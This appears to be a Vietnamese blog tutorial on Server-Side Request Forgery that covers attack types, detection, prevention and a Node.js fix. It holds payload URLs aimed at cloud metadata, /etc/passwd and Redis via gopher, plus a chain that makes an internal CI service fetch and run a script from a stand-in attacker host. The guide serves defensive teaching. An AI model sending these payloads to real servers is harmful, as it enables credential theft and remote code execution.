[{"data":1,"prerenderedAt":1106},["ShallowReactive",2],{"post-server-side-request-forgery":3},{"id":4,"title":5,"body":6,"description":1092,"extension":1093,"meta":1094,"navigation":803,"path":1102,"seo":1103,"stem":1104,"__hash__":1105,"dateDisplay":1100,"image":1101,"tags":1096,"badge":1095,"readingTime":869},"posts\u002Fposts\u002FServer-Side-Request-Forgery.md","Server-Side Request Forgery (SSRF)",{"type":7,"value":8,"toc":1083},"minimark",[9,16,21,26,32,37,163,168,175,182,188,192,197,202,229,235,239,244,249,260,265,271,278,283,287,292,297,323,328,334,339,344,348,353,358,370,375,381,386,390,395,401,406,412,417,421,426,431,443,448,454,459,463,500,506,510,539,543,622,626,631,716,721,1032,1036,1079],[10,11,12,15],"p",{},[13,14,5],"strong",{}," là lỗi khi ứng dụng cho phép user kiểm soát URL\u002Fhost mà server sẽ gọi. Kẻ tấn công lợi dụng để ép server thực hiện request tới dịch vụ nội bộ hoặc bên ngoài thay mặt server, dẫn tới lộ dữ liệu nội bộ, SSRF→SSRF chaining, SSRF→RCE hoặc SSRF→SSO token leak.",[17,18,20],"h1",{"id":19},"_2-phân-loại-ssrf-ví-dụ-cho-mỗi-loại","2) Phân loại SSRF & ví dụ cho mỗi loại",[22,23,25],"h2",{"id":24},"a-basic-ssrf-reflected-in-band","A. Basic SSRF (Reflected \u002F In-band)",[10,27,28,31],{},[13,29,30],{},"Mô tả:"," server nhận URL từ user và fetch nội dung rồi trả về (hoặc hiển thị). Attacker chỉ cần cung cấp một URL để server truy vấn và hiển thị kết quả.",[10,33,34],{},[13,35,36],{},"Ví dụ vulnerable code (pseudo):",[38,39,44],"pre",{"className":40,"code":41,"language":42,"meta":43,"style":43},"language-js shiki shiki-themes github-light github-dark","\u002F\u002F Node.js pseudo: server fetches URL từ param `url` và trả nội dung\napp.get('\u002Ffetch', async (req, res) => {\n  const r = await fetch(req.query.url);\n  const body = await r.text();\n  res.send(body);\n});\n","js","",[45,46,47,56,102,124,145,157],"code",{"__ignoreMap":43},[48,49,52],"span",{"class":50,"line":51},"line",1,[48,53,55],{"class":54},"sJ8bj","\u002F\u002F Node.js pseudo: server fetches URL từ param `url` và trả nội dung\n",[48,57,59,63,67,70,74,77,81,84,88,90,93,96,99],{"class":50,"line":58},2,[48,60,62],{"class":61},"sVt8B","app.",[48,64,66],{"class":65},"sScJk","get",[48,68,69],{"class":61},"(",[48,71,73],{"class":72},"sZZnC","'\u002Ffetch'",[48,75,76],{"class":61},", ",[48,78,80],{"class":79},"szBVR","async",[48,82,83],{"class":61}," (",[48,85,87],{"class":86},"s4XuR","req",[48,89,76],{"class":61},[48,91,92],{"class":86},"res",[48,94,95],{"class":61},") ",[48,97,98],{"class":79},"=>",[48,100,101],{"class":61}," {\n",[48,103,105,108,112,115,118,121],{"class":50,"line":104},3,[48,106,107],{"class":79},"  const",[48,109,111],{"class":110},"sj4cs"," r",[48,113,114],{"class":79}," =",[48,116,117],{"class":79}," await",[48,119,120],{"class":65}," fetch",[48,122,123],{"class":61},"(req.query.url);\n",[48,125,127,129,132,134,136,139,142],{"class":50,"line":126},4,[48,128,107],{"class":79},[48,130,131],{"class":110}," body",[48,133,114],{"class":79},[48,135,117],{"class":79},[48,137,138],{"class":61}," r.",[48,140,141],{"class":65},"text",[48,143,144],{"class":61},"();\n",[48,146,148,151,154],{"class":50,"line":147},5,[48,149,150],{"class":61},"  res.",[48,152,153],{"class":65},"send",[48,155,156],{"class":61},"(body);\n",[48,158,160],{"class":50,"line":159},6,[48,161,162],{"class":61},"});\n",[10,164,165],{},[13,166,167],{},"Payload (lab):",[38,169,173],{"className":170,"code":172,"language":141},[171],"language-text","https:\u002F\u002Fvictim.example.com\u002Ffetch?url=http:\u002F\u002Fexample.com\u002Fattacker\n",[45,174,172],{"__ignoreMap":43},[10,176,177,178,181],{},"Server sẽ request ",[45,179,180],{},"http:\u002F\u002Fexample.com\u002Fattacker"," — attacker có thể nhận request và thấy headers\u002Fsource IP.",[10,183,184,187],{},[13,185,186],{},"Hậu quả:"," xác thực token leaking nếu server đặt token header; dùng để fingerprint internal services.",[22,189,191],{"id":190},"b-ssrf-internal-service-access-localhost-internal-ip","B. SSRF → Internal Service Access (localhost \u002F internal IP)",[10,193,194,196],{},[13,195,30],{}," server gọi tới địa chỉ nội bộ (127.0.0.1, 169.254.169.254, 10.x.x.x, 172.16.x.x, 192.168.x.x) để truy cập dịch vụ chỉ reachable từ máy đó.",[10,198,199],{},[13,200,201],{},"Ví dụ payloads:",[203,204,205,212,218],"ul",{},[206,207,208,209],"li",{},"Truy metadata AWS IMDS (lab\u002Fallowed only):\n",[45,210,211],{},"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F",[206,213,214,215],{},"Truy web admin nội bộ:\n",[45,216,217],{},"http:\u002F\u002F127.0.0.1:8080\u002Fadmin",[206,219,220,221,224,225],{},"Truy Redis thông qua gopher (xem phần Protocol tricks):\n",[45,222,223],{},"gopher:\u002F\u002F127.0.0.1:6379\u002F_%2a__"," ",[226,227,228],"em",{},"(phức tạp hơn)",[10,230,231,234],{},[13,232,233],{},"Hậu quả điển hình:"," lộ metadata (credentials), nội dung admin, config, database consoles.",[22,236,238],{"id":237},"c-blind-ssrf-oob-ssrf","C. Blind SSRF \u002F OOB SSRF",[10,240,241,243],{},[13,242,30],{}," server không trả nội dung fetch cho user — attacker không thấy kết quả trực tiếp. Thay vào đó attacker dùng một server mà họ kiểm soát và chờ server mục tiêu thực hiện các request (DNS\u002FHTTP) tới attacker → exfiltration signal.",[10,245,246],{},[13,247,248],{},"Ví dụ workflow:",[203,250,251,257],{},[206,252,253,254],{},"Attacker cung cấp URL: ",[45,255,256],{},"http:\u002F\u002Fattacker-server.com\u002Fcollect?tag=1",[206,258,259],{},"Target server request URL → attacker server log thấy request → chứng thực SSRF \"vulnerable\".",[10,261,262],{},[13,263,264],{},"OOB payload (lab):",[38,266,269],{"className":267,"code":268,"language":141},[171],"https:\u002F\u002Fvictim\u002Ffetch?url=http:\u002F\u002Fattacker-server.com\u002Fpwn\n",[45,270,268],{"__ignoreMap":43},[10,272,273,274,277],{},"Hoặc dùng DNS exfil: ",[45,275,276],{},"http:\u002F\u002F\u003Crandom>.attacker-dns.com\u002F"," để nhìn thấy DNS lookup.",[10,279,280,282],{},[13,281,186],{}," phát hiện SSRF ngay cả khi response được che; exfiltrate nhỏ dữ liệu bằng cách encode vào path\u002Fparams.",[22,284,286],{"id":285},"d-protocol-based-ssrf-non-http-file-gopher-ftp-smb-dict-ldap","D. Protocol-based SSRF (non-HTTP: file:\u002F, gopher:, ftp:, smb:, dict:, ldap:)",[10,288,289,291],{},[13,290,30],{}," một số HTTP client \u002F URL handlers hỗ trợ nhiều scheme — attacker dùng scheme khác để lạm dụng dịch vụ khác (file, gopher → raw TCP, ldap → dùng để query LDAP).",[10,293,294],{},[13,295,296],{},"Ví dụ thực tế:",[203,298,299,305,311,317],{},[206,300,301,304],{},[45,302,303],{},"file:\u002F\u002F\u002Fetc\u002Fpasswd"," — server đọc file cục bộ và trả nội dung (nếu client\u002Fhandler hỗ trợ file scheme).",[206,306,307,310],{},[45,308,309],{},"gopher:\u002F\u002F127.0.0.1:6379\u002F_\u003Craw-redis-protocol>"," — dùng gopher để gửi raw bytes tới Redis (có thể chạy AUTH, GET\u002FSET).",[206,312,313,316],{},[45,314,315],{},"ftp:\u002F\u002Fattacker\u002F"," — có thể trigger outbound FTP connections (logs).",[206,318,319,322],{},[45,320,321],{},"ldap:\u002F\u002F127.0.0.1:389\u002F..."," — query LDAP nội bộ.",[10,324,325],{},[13,326,327],{},"Payload mẫu (lab):",[38,329,332],{"className":330,"code":331,"language":141},[171],"\u002Ffetch?url=file:\u002F\u002F\u002Fetc\u002Fpasswd\n\u002Ffetch?url=gopher:\u002F\u002F127.0.0.1:6379\u002F_SET%20key%20value%0d%0a\n",[45,333,331],{"__ignoreMap":43},[10,335,336],{},[226,337,338],{},"(gopher requires encoding raw protocol)",[10,340,341,343],{},[13,342,186],{}," tương tác với dịch vụ nội bộ không phải HTTP; có thể thao tác database, cache, v.v.",[22,345,347],{"id":346},"e-ssrf-leading-to-authentication-bypass-privileged-actions","E. SSRF leading to Authentication Bypass \u002F Privileged Actions",[10,349,350,352],{},[13,351,30],{}," server có thể sử dụng internal endpoint với cookie\u002Fsession\u002Ftoken riêng — attacker ép server gọi endpoint nội bộ để thực hiện hành động có quyền (ví dụ admin-only API) dùng session của server.",[10,354,355],{},[13,356,357],{},"Ví dụ:",[203,359,360,367],{},[206,361,362,363,366],{},"Server có endpoint ",[45,364,365],{},"http:\u002F\u002Flocalhost:9000\u002Fshutdown"," chỉ accessible nội bộ. Attacker cung cấp URL tới đó — server thực thi lệnh shutdown.",[206,368,369],{},"Nếu target gửi cookie\u002Fsession nội bộ khi request, action xảy ra với quyền server.",[10,371,372],{},[13,373,374],{},"Payload:",[38,376,379],{"className":377,"code":378,"language":141},[171],"\u002Ffetch?url=http:\u002F\u002F127.0.0.1:9000\u002Fshutdown\n",[45,380,378],{"__ignoreMap":43},[10,382,383,385],{},[13,384,186],{}," thao tác nội bộ, thay đổi config, truy vấn nội bộ.",[22,387,389],{"id":388},"f-ssrf-port-scanning-internal-reconnaissance","F. SSRF → Port Scanning \u002F Internal Reconnaissance",[10,391,392,394],{},[13,393,30],{}," attacker dùng SSRF để nối nhiều request\u002Fpaths nhằm dò cổng hoặc dịch vụ nội bộ (ví dụ check 127.0.0.1:22, :80, :6379…).",[10,396,397,400],{},[13,398,399],{},"Phương pháp:"," gửi nhiều URL khác nhau qua tham số fetch và infer cổng mở\u002Fđóng theo phản hồi\u002Ftimeouts.",[10,402,403],{},[13,404,405],{},"Ví dụ payload sequence (lab):",[38,407,410],{"className":408,"code":409,"language":141},[171],"\u002Ffetch?url=http:\u002F\u002F127.0.0.1:22\u002F\n\u002Ffetch?url=http:\u002F\u002F127.0.0.1:80\u002F\n\u002Ffetch?url=http:\u002F\u002F127.0.0.1:6379\u002F\n",[45,411,409],{"__ignoreMap":43},[10,413,414,416],{},[13,415,186],{}," mapping internal network, tìm service vulnerable.",[22,418,420],{"id":419},"g-ssrf-rce-gián-tiếp","G. SSRF → RCE (gián tiếp)",[10,422,423,425],{},[13,424,30],{}," SSRF bản thân không chạy code, nhưng có thể kích hoạt RCE nếu server gọi một dịch vụ nội bộ có lỗ hổng (admin interface, deserialization endpoint, CI runner, template engines that fetch URLs and evaluate content).",[10,427,428],{},[13,429,430],{},"Ví dụ chuỗi:",[432,433,434,440],"ol",{},[206,435,436,437],{},"SSRF → gọi internal CI endpoint ",[45,438,439],{},"\u002Frun?scriptUrl=http:\u002F\u002Fattacker\u002Fpayload",[206,441,442],{},"CI tải script từ attacker và thực thi → RCE.",[10,444,445],{},[13,446,447],{},"Ví dụ payload (chuỗi attack, lab-only):",[38,449,452],{"className":450,"code":451,"language":141},[171],"\u002Ffetch?url=http:\u002F\u002F127.0.0.1:8080\u002Frun?scriptUrl=http:\u002F\u002Fattacker\u002Fpayload\n",[45,453,451],{"__ignoreMap":43},[10,455,456,458],{},[13,457,186],{}," RCE, persistent compromise.",[17,460,462],{"id":461},"_3-kỹ-thuật-mô-phỏng-payload-thường-dùng-khi-test-lab-only","3) Kỹ thuật mô phỏng \u002F payload thường dùng khi test (lab-only)",[203,464,465,471,476,481,487,493],{},[206,466,467,468],{},"In-band HTTP: ",[45,469,470],{},"http:\u002F\u002Fattacker.com\u002Fping",[206,472,473,474],{},"Internal metadata (AWS): ",[45,475,211],{},[206,477,478,479],{},"file scheme: ",[45,480,303],{},[206,482,483,484],{},"gopher to Redis (raw): ",[45,485,486],{},"gopher:\u002F\u002F127.0.0.1:6379\u002F_SET%20pwn%20hello%0D%0A",[206,488,489,490],{},"LDAP: ",[45,491,492],{},"ldap:\u002F\u002F127.0.0.1:389\u002F",[206,494,495,496,499],{},"OOB detection: ",[45,497,498],{},"http:\u002F\u002F\u003Crandom>.oob-server.com\u002F"," (monitor logs\u002FDNS)",[501,502,503],"blockquote",{},[10,504,505],{},"Ghi chú: nhiều client libs block non-http schemes — phải biết client behavior.",[17,507,509],{"id":508},"_4-cách-phát-hiện-dò-ssrf","4) Cách phát hiện \u002F dò SSRF",[203,511,512,515,533,536],{},[206,513,514],{},"Tìm mọi chỗ server dùng URL do user cung cấp: image preview, fetch URL, webhook test, Open Redirect handlers, RSS\u002FCSV import, URL-to-PDF, proxy endpoints, server-side template renderers that fetch remote include.",[206,516,517,518,76,521,76,524,76,527,76,529,532],{},"Thử thay đổi host thành ",[45,519,520],{},"http:\u002F\u002F127.0.0.1",[45,522,523],{},"http:\u002F\u002F169.254.169.254",[45,525,526],{},"http:\u002F\u002Flocalhost:PORT",[45,528,303],{},[45,530,531],{},"gopher:\u002F\u002F...",", và quan sát response\u002Ftimeouts.",[206,534,535],{},"Dùng attacker-controlled OOB (HTTP\u002FDNS) service để detect blind SSRF.",[206,537,538],{},"Kiểm tra logs, outbound connections từ server (network logs), WAF alerts.",[17,540,542],{"id":541},"_5-phòng-ngừa-best-practices-tóm-tắt-dễ-nhớ","5) Phòng ngừa — best practices (tóm tắt, dễ nhớ)",[432,544,545,551,574,580,586,592,598,604,610,616],{},[206,546,547,550],{},[13,548,549],{},"Allowlist hostnames \u002F IPs",": chỉ cho server gọi tới danh sách host cho phép (domain-level allowlist).",[206,552,553,556,557,76,560,76,563,76,566,569,570,573],{},[13,554,555],{},"Disallow schemes",": chặn ",[45,558,559],{},"file:\u002F\u002F",[45,561,562],{},"gopher:\u002F\u002F",[45,564,565],{},"ldap:\u002F\u002F",[45,567,568],{},"ftp:\u002F\u002F"," trừ khi cần thiết; chỉ cho phép ",[45,571,572],{},"http(s)",".",[206,575,576,579],{},[13,577,578],{},"Canonicalize & resolve hostnames",": trước khi request, parse URL, resolve DNS, kiểm tra IP trả về nằm trong private ranges; reject nếu là private\u002Finternal.",[206,581,582,585],{},[13,583,584],{},"Network egress control",": đặt firewall\u002Fegress rules để server không thể truy cập metadata IMDS hoặc internal services từ app tier.",[206,587,588,591],{},[13,589,590],{},"Metadata protection",": cloud providers offer IMDSv2 and IMDS protections — enforce IMDSv2, limit instance role permissions.",[206,593,594,597],{},[13,595,596],{},"Use a proxy\u002Fgateway",": tất cả outbound requests đi qua proxy kiểm duyệt & logging; proxy có thể enforce allowlist.",[206,599,600,603],{},[13,601,602],{},"Limit response size & timeouts",": tránh SSRF gây DoS.",[206,605,606,609],{},[13,607,608],{},"Authentication for internal services",": internal endpoints require mutual auth, not just IP-based.",[206,611,612,615],{},[13,613,614],{},"Validate URLs strictly",": parse and reject hostname that resolve to private IPs or suspicious ranges (IPv4\u002FIPv6).",[206,617,618,621],{},[13,619,620],{},"Least privilege & segmentation",": dịch vụ app không nên có quyền truy cập vào quản trị hoặc metadata nếu không cần.",[17,623,625],{"id":624},"_6-ví-dụ-sửa-code-nodejs-vulnerable-safe-ngắn","6) Ví dụ sửa code (Node.js) — vulnerable → safe (ngắn)",[10,627,628],{},[13,629,630],{},"Vulnerable:",[38,632,634],{"className":40,"code":633,"language":42,"meta":43,"style":43},"app.get('\u002Ffetch', async (req, res) => {\n  const url = req.query.url;\n  const r = await fetch(url); \u002F\u002F dangerous\n  res.send(await r.text());\n});\n",[45,635,636,664,676,694,712],{"__ignoreMap":43},[48,637,638,640,642,644,646,648,650,652,654,656,658,660,662],{"class":50,"line":51},[48,639,62],{"class":61},[48,641,66],{"class":65},[48,643,69],{"class":61},[48,645,73],{"class":72},[48,647,76],{"class":61},[48,649,80],{"class":79},[48,651,83],{"class":61},[48,653,87],{"class":86},[48,655,76],{"class":61},[48,657,92],{"class":86},[48,659,95],{"class":61},[48,661,98],{"class":79},[48,663,101],{"class":61},[48,665,666,668,671,673],{"class":50,"line":58},[48,667,107],{"class":79},[48,669,670],{"class":110}," url",[48,672,114],{"class":79},[48,674,675],{"class":61}," req.query.url;\n",[48,677,678,680,682,684,686,688,691],{"class":50,"line":104},[48,679,107],{"class":79},[48,681,111],{"class":110},[48,683,114],{"class":79},[48,685,117],{"class":79},[48,687,120],{"class":65},[48,689,690],{"class":61},"(url); ",[48,692,693],{"class":54},"\u002F\u002F dangerous\n",[48,695,696,698,700,702,705,707,709],{"class":50,"line":126},[48,697,150],{"class":61},[48,699,153],{"class":65},[48,701,69],{"class":61},[48,703,704],{"class":79},"await",[48,706,138],{"class":61},[48,708,141],{"class":65},[48,710,711],{"class":61},"());\n",[48,713,714],{"class":50,"line":147},[48,715,162],{"class":61},[10,717,718],{},[13,719,720],{},"Safe (sketch):",[38,722,724],{"className":40,"code":723,"language":42,"meta":43,"style":43},"const ALLOWED_DOMAINS = new Set(['example-cdn.com', 'youtube.com']);\napp.get('\u002Ffetch', async (req, res) => {\n  const url = new URL(req.query.url);\n\n  \u002F\u002F chỉ cho phép scheme http\u002Fhttps\n  if (!['http:', 'https:'].includes(url.protocol)) return res.status(400).send('bad scheme');\n\n  \u002F\u002F canonicalize + resolve IP and block private ranges (pseudo)\n  const ip = await dnsLookup(url.hostname);\n  if (isPrivateIP(ip)) return res.status(400).send('no internal access');\n\n  \u002F\u002F domain allowlist\n  if (!ALLOWED_DOMAINS.has(url.hostname)) return res.status(403).send('not allowed');\n\n  \u002F\u002F fetch via corporate proxy (which enforces further checks)\n  const r = await fetch(url.href, { agent: proxyAgent });\n  res.send(await r.text());\n});\n",[45,725,726,756,784,799,805,810,867,872,878,896,930,935,941,983,988,994,1010,1027],{"__ignoreMap":43},[48,727,728,731,734,736,739,742,745,748,750,753],{"class":50,"line":51},[48,729,730],{"class":79},"const",[48,732,733],{"class":110}," ALLOWED_DOMAINS",[48,735,114],{"class":79},[48,737,738],{"class":79}," new",[48,740,741],{"class":65}," Set",[48,743,744],{"class":61},"([",[48,746,747],{"class":72},"'example-cdn.com'",[48,749,76],{"class":61},[48,751,752],{"class":72},"'youtube.com'",[48,754,755],{"class":61},"]);\n",[48,757,758,760,762,764,766,768,770,772,774,776,778,780,782],{"class":50,"line":58},[48,759,62],{"class":61},[48,761,66],{"class":65},[48,763,69],{"class":61},[48,765,73],{"class":72},[48,767,76],{"class":61},[48,769,80],{"class":79},[48,771,83],{"class":61},[48,773,87],{"class":86},[48,775,76],{"class":61},[48,777,92],{"class":86},[48,779,95],{"class":61},[48,781,98],{"class":79},[48,783,101],{"class":61},[48,785,786,788,790,792,794,797],{"class":50,"line":104},[48,787,107],{"class":79},[48,789,670],{"class":110},[48,791,114],{"class":79},[48,793,738],{"class":79},[48,795,796],{"class":65}," URL",[48,798,123],{"class":61},[48,800,801],{"class":50,"line":126},[48,802,804],{"emptyLinePlaceholder":803},true,"\n",[48,806,807],{"class":50,"line":147},[48,808,809],{"class":54},"  \u002F\u002F chỉ cho phép scheme http\u002Fhttps\n",[48,811,812,815,817,820,823,826,828,831,834,837,840,843,846,849,851,854,857,859,861,864],{"class":50,"line":159},[48,813,814],{"class":79},"  if",[48,816,83],{"class":61},[48,818,819],{"class":79},"!",[48,821,822],{"class":61},"[",[48,824,825],{"class":72},"'http:'",[48,827,76],{"class":61},[48,829,830],{"class":72},"'https:'",[48,832,833],{"class":61},"].",[48,835,836],{"class":65},"includes",[48,838,839],{"class":61},"(url.protocol)) ",[48,841,842],{"class":79},"return",[48,844,845],{"class":61}," res.",[48,847,848],{"class":65},"status",[48,850,69],{"class":61},[48,852,853],{"class":110},"400",[48,855,856],{"class":61},").",[48,858,153],{"class":65},[48,860,69],{"class":61},[48,862,863],{"class":72},"'bad scheme'",[48,865,866],{"class":61},");\n",[48,868,870],{"class":50,"line":869},7,[48,871,804],{"emptyLinePlaceholder":803},[48,873,875],{"class":50,"line":874},8,[48,876,877],{"class":54},"  \u002F\u002F canonicalize + resolve IP and block private ranges (pseudo)\n",[48,879,881,883,886,888,890,893],{"class":50,"line":880},9,[48,882,107],{"class":79},[48,884,885],{"class":110}," ip",[48,887,114],{"class":79},[48,889,117],{"class":79},[48,891,892],{"class":65}," dnsLookup",[48,894,895],{"class":61},"(url.hostname);\n",[48,897,899,901,903,906,909,911,913,915,917,919,921,923,925,928],{"class":50,"line":898},10,[48,900,814],{"class":79},[48,902,83],{"class":61},[48,904,905],{"class":65},"isPrivateIP",[48,907,908],{"class":61},"(ip)) ",[48,910,842],{"class":79},[48,912,845],{"class":61},[48,914,848],{"class":65},[48,916,69],{"class":61},[48,918,853],{"class":110},[48,920,856],{"class":61},[48,922,153],{"class":65},[48,924,69],{"class":61},[48,926,927],{"class":72},"'no internal access'",[48,929,866],{"class":61},[48,931,933],{"class":50,"line":932},11,[48,934,804],{"emptyLinePlaceholder":803},[48,936,938],{"class":50,"line":937},12,[48,939,940],{"class":54},"  \u002F\u002F domain allowlist\n",[48,942,944,946,948,950,953,955,958,961,963,965,967,969,972,974,976,978,981],{"class":50,"line":943},13,[48,945,814],{"class":79},[48,947,83],{"class":61},[48,949,819],{"class":79},[48,951,952],{"class":110},"ALLOWED_DOMAINS",[48,954,573],{"class":61},[48,956,957],{"class":65},"has",[48,959,960],{"class":61},"(url.hostname)) ",[48,962,842],{"class":79},[48,964,845],{"class":61},[48,966,848],{"class":65},[48,968,69],{"class":61},[48,970,971],{"class":110},"403",[48,973,856],{"class":61},[48,975,153],{"class":65},[48,977,69],{"class":61},[48,979,980],{"class":72},"'not allowed'",[48,982,866],{"class":61},[48,984,986],{"class":50,"line":985},14,[48,987,804],{"emptyLinePlaceholder":803},[48,989,991],{"class":50,"line":990},15,[48,992,993],{"class":54},"  \u002F\u002F fetch via corporate proxy (which enforces further checks)\n",[48,995,997,999,1001,1003,1005,1007],{"class":50,"line":996},16,[48,998,107],{"class":79},[48,1000,111],{"class":110},[48,1002,114],{"class":79},[48,1004,117],{"class":79},[48,1006,120],{"class":65},[48,1008,1009],{"class":61},"(url.href, { agent: proxyAgent });\n",[48,1011,1013,1015,1017,1019,1021,1023,1025],{"class":50,"line":1012},17,[48,1014,150],{"class":61},[48,1016,153],{"class":65},[48,1018,69],{"class":61},[48,1020,704],{"class":79},[48,1022,138],{"class":61},[48,1024,141],{"class":65},[48,1026,711],{"class":61},[48,1028,1030],{"class":50,"line":1029},18,[48,1031,162],{"class":61},[17,1033,1035],{"id":1034},"_7-checklist-kiểm-thử-remediation","7) Checklist kiểm thử & remediation",[203,1037,1040,1049,1055,1061,1067,1073],{"className":1038},[1039],"contains-task-list",[206,1041,1044,1048],{"className":1042},[1043],"task-list-item",[1045,1046],"input",{"disabled":803,"type":1047},"checkbox"," Liệt kê mọi endpoint nhận URL\u002Fhost từ user.",[206,1050,1052,1054],{"className":1051},[1043],[1045,1053],{"disabled":803,"type":1047}," Thử payloads: localhost, 169.254.169.254, private IPs, file:\u002F\u002F, gopher:\u002F\u002F, attacker OOB.",[206,1056,1058,1060],{"className":1057},[1043],[1045,1059],{"disabled":803,"type":1047}," Kiểm tra blind SSRF bằng OOB DNS\u002FHTTP.",[206,1062,1064,1066],{"className":1063},[1043],[1045,1065],{"disabled":803,"type":1047}," Kiểm tra port scan bằng chuỗi request khác nhau.",[206,1068,1070,1072],{"className":1069},[1043],[1045,1071],{"disabled":803,"type":1047}," Sau fix: verify bằng same payloads và confirm egress blocked \u002F request rejected.",[206,1074,1076,1078],{"className":1075},[1043],[1045,1077],{"disabled":803,"type":1047}," Áp dụng egress firewall & metadata protections.",[1080,1081,1082],"style",{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":43,"searchDepth":58,"depth":58,"links":1084},[1085,1086,1087,1088,1089,1090,1091],{"id":24,"depth":58,"text":25},{"id":190,"depth":58,"text":191},{"id":237,"depth":58,"text":238},{"id":285,"depth":58,"text":286},{"id":346,"depth":58,"text":347},{"id":388,"depth":58,"text":389},{"id":419,"depth":58,"text":420},"phân loại SSRF, payload thực hành (http\u002Ffile\u002Fgopher), cách dò (OOB\u002FDNS), hậu quả (metadata, internal services) và biện pháp ngăn chặn (allowlist, egress firewall).","md",{"badge":1095,"tags":1096,"date":1099,"dateDisplay":1100,"image":1101},"Web Security",[1097,1098],"Web","SSRF","2025-06-20","Jun 20, 2025","\u002Fthumbnails\u002Fowasp-top-ten-1000.png","\u002Fposts\u002Fserver-side-request-forgery",{"title":5,"description":1092},"posts\u002FServer-Side-Request-Forgery","v7fN6EosRgOpfTubw-ubATpusdr3m5GSVm4d5qzGzmQ",1787385494342]